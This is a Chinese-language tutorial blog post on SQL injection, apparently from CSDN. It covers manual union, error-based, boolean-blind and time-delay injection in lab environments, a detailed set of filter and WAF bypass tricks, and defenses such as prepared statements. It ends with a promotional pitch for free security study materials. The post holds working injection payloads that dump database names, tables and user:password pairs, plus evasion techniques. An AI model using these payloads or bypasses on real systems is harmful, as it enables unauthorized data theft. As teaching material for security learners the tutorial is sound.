
SQL 注入原理与手工注入实战附绕过思路前言SQL 注入是 Web 安全里最经典、面试必考、实战高频出现的高危漏洞常年位列 OWASP Top10 前列。不管是零基础入门网安、做渗透测试、安全服务还是准备 SRC 漏洞挖掘SQL 注入都是必须吃透的核心知识点。很多新手学习 SQL 注入会陷入一个巨大误区直接上手 sqlmap 一键跑漏洞只会复制命令完全不懂手工注入底层逻辑。一旦遇到 WAF、关键字过滤、特殊字符拦截工具被拦截之后就毫无办法。在真实的漏洞挖掘场景、复杂过滤环境下自动化工具永远替代不了手工注入。本文完整讲解 SQL 注入底层原理、漏洞成因、注入分类手把手演示全套手工注入实战流程包含联合查询注入、报错注入、布尔盲注、时间延时盲注同时整理大量实战场景下的过滤绕过思路最后附上漏洞防御修复方案。所有操作可以在 DVWA、Pikachu 等本地靶场复现适合作为学习笔记、面试复习材料。⚠️ 免责声明本文技术内容仅限本地靶场、获得书面授权的安全测试学习使用。禁止使用文中技术对任何未授权网站、服务器进行扫描、注入、数据读取等操作未经授权的测试行为违反《网络安全法》所有法律后果由使用者自行承担。一、SQL 注入核心原理与漏洞成因1.1 什么是 SQL 注入SQL 注入属于代码注入漏洞。攻击者通过前端可控的参数GET 参数、POST 表单、Cookie、HTTP 头参数等构造恶意的 SQL 片段拼接在后端的数据库查询语句里面改变原本 SQL 语句的逻辑。最终实现查询数据库敏感信息、读取服务器文件、写入一句话木马在部分数据库权限配置不当的环境下甚至可以执行系统命令。1.2 漏洞根本成因一句话总结后端代码直接信任用户输入可控参数没有做严格过滤直接字符串拼接到 SQL 语句中交给数据库执行。举一个最常见的 PHP 查询示例$id $_GET[id]; $sql select * from users where id .$id; $result mysqli_query($conn,$sql);这里id是用户 GET 传入的参数代码直接拿参数拼进 SQL。正常访问?id1拼接后的 SQL 语句select * from users where id 1数据库查询 id 等于 1 的用户数据业务正常执行。攻击者传入恶意 payload?id1拼接之后 SQL 变成select * from users where id 1单引号闭合原有语句SQL 语法错误页面大概率报错这就是注入点最基础的判断方式。继续构造 payload?id1 or 11 --拼接后select * from users where id 1 or 11 -- --是 SQL 注释符号后面的内容被注释不再执行。or 11永远为真语句会查询 users 表里面全部用户数据注入成功。关键点用户输入的单引号、or、and、注释符改变了 SQL 语法结构数据库分不清哪一段是开发写的语句哪一段是攻击者传入的内容。如果使用预编译语句参数化查询用户输入只会被当成字符串参数不会参与 SQL 语法解析从根源杜绝注入。1.3 SQL 注入常见分类按照数据回显方式分为 4 大类也是手工注入的主线联合查询注入Union 注入页面会直接返回查询结果最容易操作前提是页面能回显多条数据。报错注入页面会输出数据库报错信息利用数据库报错函数把查询数据带出页面。页面无正常数据回显但是会打印数据库报错信息。布尔盲注页面不会返回数据也不会输出数据库报错。输入不同 payload页面只有两种状态页面正常 / 页面异常通过页面状态判断 SQL 语句真假。时间延时盲注页面无论真假页面返回内容没有任何变化。利用 sleep () 等函数根据页面响应时间判断条件真假是注入难度最高的一类。按照提交方式划分GET 注入、POST 注入、Cookie 注入、HTTP 头部注入User-Agent、Referer 等。二、手工注入实战联合查询 Union 注入环境DVWA 靶场 SQL Injection 模块GET 型注入页面可以回显查询数据。访问地址?id1页面输出用户信息。步骤 1判断是否存在注入确定闭合方式输入?id1页面出现数据库语法报错说明参数没有过滤单引号存在注入。这里是单引号闭合。补充如果输入 1’ 不报错输入 1 报错则是双引号闭合还有括号闭合?id1)的场景需要不断测试。输入 payload?id1 and 11 --页面正常显示数据。输入 payload?id1 and 12 --页面无数据。页面出现两种不同结果确认注入点有效。步骤 2查询字段数量order by 猜列数order by 用来排序数字代表第几列数字超过表实际列数会报错。?id1 order by 1 --正常?id1 order by 2 --正常?id1 order by 3 --报错说明查询语句返回一共 2 列。步骤 3寻找页面回显位置union select 前后查询列数必须一致。使用一个不存在 id让前面 select 查询结果为空只显示 union 后面的内容。payload?id-1 union select 1,2 --页面回显 2说明第 2 列位置可以输出数据。步骤 4查询数据库名称?id-1 union select 1,database() --database () 函数返回当前网站使用的数据库名。步骤 5查询数据库下所有表名?id-1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase() --group_concat 函数会把所有表名拼接成一行输出information_schema 是 MySQL 自带信息库存储所有库、表、字段元数据。假设拿到表名users。步骤 6查询 users 表里面所有字段名?id-1 union select 1,group_concat(column_name) from information_schema.columns where table_nameusers --获取字段例如 user、password。步骤 7查询账号密码数据?id-1 union select 1,group_concat(user,0x3a,password) from users --0x3a 是十六进制冒号用来分隔账号密码。至此联合查询注入完成。三、报错注入实战场景页面没有正常数据回显但是 SQL 语法错误时页面会打印 MySQL 数据库报错信息利用 updatexml、extractvalue 这两个 XML 处理函数把查询数据放到报错信息中带出。原理updatexml 第二个参数要求是合法 xpath 表达式我们构造非法 xpath同时嵌入查询语句查询结果会出现在报错信息里。payload?id1 and updatexml(1,concat(0x7e,database(),0x7e),1) --0x7e是~符号用来标记数据边界。页面报错信息中会显示当前数据库名称。查表?id1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e),1) --限制updatexml 报错返回字符串长度有限制数据太长会截断遇到长数据需要使用 substr 截取。?id1 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()),1,30),0x7e),1) --substr (字符串起始位置截取长度)分段读取数据。注意MySQL 版本 8.0 之后部分报错函数被限制报错注入成功率下降。四、布尔盲注实战场景页面没有数据回显不输出数据库报错。只有两种页面状态条件为真页面正常条件为假页面空白 / 提示无结果。核心思路逐个猜字符判断 ASCII 码一点点爆出库名、表名、字段。核心函数substr (str,pos,len)截取字符串ascii ()获取字符的 ASCII 码length ()获取字符串长度第一步猜数据库名字长度?id1 and length(database())1 --不断调整数字找到数据库名字真实长度。第二步逐字符猜库名判断第一个字符 ascii 是否大于 100?id1 and ascii(substr(database(),1,1))100 --页面正常说明条件成立页面无内容条件不成立。二分法快速缩小范围拿到 ASCII转成字符。之后修改 substr 第二个参数依次猜第 2、3、4 位字符。表、字段、数据读取逻辑完全一致只是替换子查询语句。布尔盲注手工工作量很大真实场景一般写简单 Python 脚本自动化遍历但是面试要求必须理解手工原理。五、时间延时盲注实战场景页面真假条件返回页面完全一致无法通过页面内容判断只能依靠页面响应时间判断。使用 sleep () 函数当条件为 true数据库执行 sleep页面延迟返回条件 false直接返回页面。payload 示例?id1 and if(ascii(substr(database(),1,1))100,sleep(3),1) --if (判断条件满足执行 sleep (3), 不满足执行 1)。如果第一个字符 ASCII100数据库休眠 3 秒浏览器等待 3 秒才加载页面否则立刻返回。我们依靠页面加载延时判断结果。缺点速度极慢网络波动容易误判一般作为最后的备选注入手段。六、SQL 注入过滤绕过思路实战重点很多网站会做基础防护过滤关键字、特殊符号下面整理实战高频绕过方式也是面试高频考点。6.1 空格过滤绕过后端过滤空格无法使用空格分隔关键字。可用替代分隔符%09tab、%0A换行、%0D回车、/**/注释符示例?id1and/**/11-- ?id1%0Aand%0A11--6.2 关键字过滤绕过and、or、union、select 等大小写变形mysql 关键字不区分大小写UniOn SelEcT 1,2双写绕过代码使用替换函数把 select 替换为空双写之后替换剩下有效关键字。selecselectt过滤掉中间 select剩下 select。适用场景str_replace(select,,$sql)一次性替换。注意PHP 的 str_replace 只会替换一次如果是递归替换双写失效。注释穿插un/**/ion se/**/lect6.3 单引号过滤宽字符注入GBK 编码场景后端使用 GBK 字符集传入%df%27。%df和前面转义的\%5c拼成一个汉字转义符失效单引号逃逸。payload?id1%df and 11 --前提数据库连接编码为 GBKPDO 在特定配置下存在该漏洞现在环境越来越少。绕过转义函数如果只是转义为\没有预编译可以尝试宽字符如果是参数化查询宽字符无效。6.4 等于号被过滤不能直接使用11可以替换为其他比较符号、、like示例and length(database())5and substr(database(),1,1) like s6.5 逗号被过滤substr、updatexml 里面逗号被拦截使用 from for 语法替代 substr。原生 substrsubstr(str,1,1)替换写法substr(str from 1 for 1)payload 示例?id1 and ascii(substr(database() from 1 for 1))100 --union 注入逗号过滤union select 1,2改成union select 1 from dual union select 26.6 注释符 --、# 被过滤无法注释后面的单引号采用闭合方式构造语句让后面的引号被正常消耗。原 payload?id1 and 11 --去掉注释改为?id1 and 11拼接 SQLselect * from users where id1 and 11前后引号自然闭合不再需要注释。6.7 函数过滤sleep、updatexml、extractvalue延时盲注 sleep 被过滤可以尝试 benchmark 函数实现延时。benchmark(5000000,md5(test))重复计算 md5 消耗 CPU达到延时效果。报错函数被过滤放弃报错注入改用布尔盲注。6.8 WAF 拦截 payloadWAF 会匹配特征 payload简单绕过思路URL 编码、二次编码拆分 payloadHTTP 参数污染POST 注入payload 放在 POST 体避开 GET 参数检测把注入 payload 放到 Cookie、User-Agent、Referer 头部HTTP 头注入关键字碎片化穿插注释。重要提醒绕过 WAF 属于对抗行为仅授权测试环境下使用公网无授权环境严禁尝试。七、SQL 注入漏洞防御方案方案 1参数化查询 / 预编译语句最优方案从根源防御使用 PDO、mysqli 预编译用户输入只会当做字符串参数不会解析为 SQL 语法是业界标准方案。错误写法字符串拼接$sql select * from users where id .$_GET[id];安全预编译示例$stmt $conn-prepare(select * from users where id ?); $stmt-bind_param(i,$id); $stmt-execute();方案 2输入过滤、白名单校验对于数字型参数强制校验输入只能是数字字符串参数使用白名单只允许指定字符拒绝特殊符号。黑名单过滤过滤 or、union、单引号不推荐很容易被各种绕过方式突破只能作为辅助防护不能单独用来防御注入。方案 3最小权限原则数据库账号权限收缩网站使用的数据库账号不允许 file 读写权限、不具备执行系统命令权限即使发生注入危害降低。禁止使用 root、sa 等高权限账号作为业务连接账号。方案 4关闭数据库错误回显生产环境禁止把原生数据库报错直接返回前端页面防止报错注入、泄露库名表名信息。自定义统一错误页面。方案 5部署 WAF 做防护Web 应用防火墙识别并拦截注入类恶意请求属于外层防护作为兜底手段不能替代代码层修复。八、新手学习常见坑只会 sqlmap完全不会手工注入。一旦 WAF 拦截工具 payload直接无法继续挖掘面试一问原理就卡住。分不清字符型注入和数字型注入。数字型不需要单引号闭合字符型需要单引号新手经常 payload 构造错误。盲目堆叠 payload不看 SQL 拼接逻辑不知道每一段 payload 在 SQL 里面如何生效。认为过滤几个关键字就安全低估各类绕过手段黑名单防护极容易被绕过。在公网网站直接测试注入 payload触碰法律红线。总结SQL 注入核心本质就是可控输入破坏 SQL 语句原有语法。学习顺序建议先掌握联合查询注入再学习报错注入之后布尔盲注、延时盲注。手工注入一定要理解 SQL 拼接逻辑理解每一段 payload 的作用而不是死记硬背 payload。过滤绕过是实战中非常重要的能力但是绕过只是手段防御才是企业安全工作的重点。在 SRC 漏洞提交时手工注入构造的 payload、完整漏洞复现步骤是漏洞报告里面核心内容。最后关于网络安全技术储备网络安全是当今信息时代中非常重要的一环。无论是找工作还是感兴趣黑客都是未来职业选择中上上之选为了保护自己的网络安全学习网络安全知识是必不可少的。如果你是准备学习网络安全黑客或者正在学习下面这些你应该能用得上①网络安全学习路线②20份渗透测试电子书③安全攻防357页笔记④50份安全攻防面试指南⑤安全红队渗透工具包⑥网络安全必备书籍⑦100个漏洞实战案例⑧安全大厂内部视频资源⑨历年CTF夺旗赛题解析一、网络安全黑客学习路线网络安全黑客学习路线形成网络安全领域所有的知识点汇总它的用处就在于你可以按照上面的知识点去找对应的学习资源保证自己学得较为全面。二、网络安全教程视频我们在看视频学习的时候不能光动眼动脑不动手比较科学的学习方法是在理解之后运用它们这时候练手项目就很适合了。三、网络安全CTF实战案例光学理论是没用的要学会跟着一起敲要动手实操才能将自己的所学运用到实际当中去这里带来的是CTFSRC资料HW资料毕竟实战是检验真理的唯一标准嘛~四、网络安全面试题最后我们所有的作为都是为就业服务的所以关键的临门一脚就是咱们的面试题内容所以面试题板块是咱们不可或缺的部分这里我给大家准备的就是我在面试期间准备的资料。网安其实不难难的是坚持和相信自己我的经验是既然已经选定网安你就要相信它相信它能成为你日后进阶的高效渠道这样自己才会更有信念去学习才能在碰到困难的时候坚持下去。机会属于有准备的人这是一个实力的时代。人和人之间的差距不在于智商而在于如何利用业余时间只要你想学习什么时候开始都不晚不要担心这担心那你只需努力剩下的交给时间这份完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】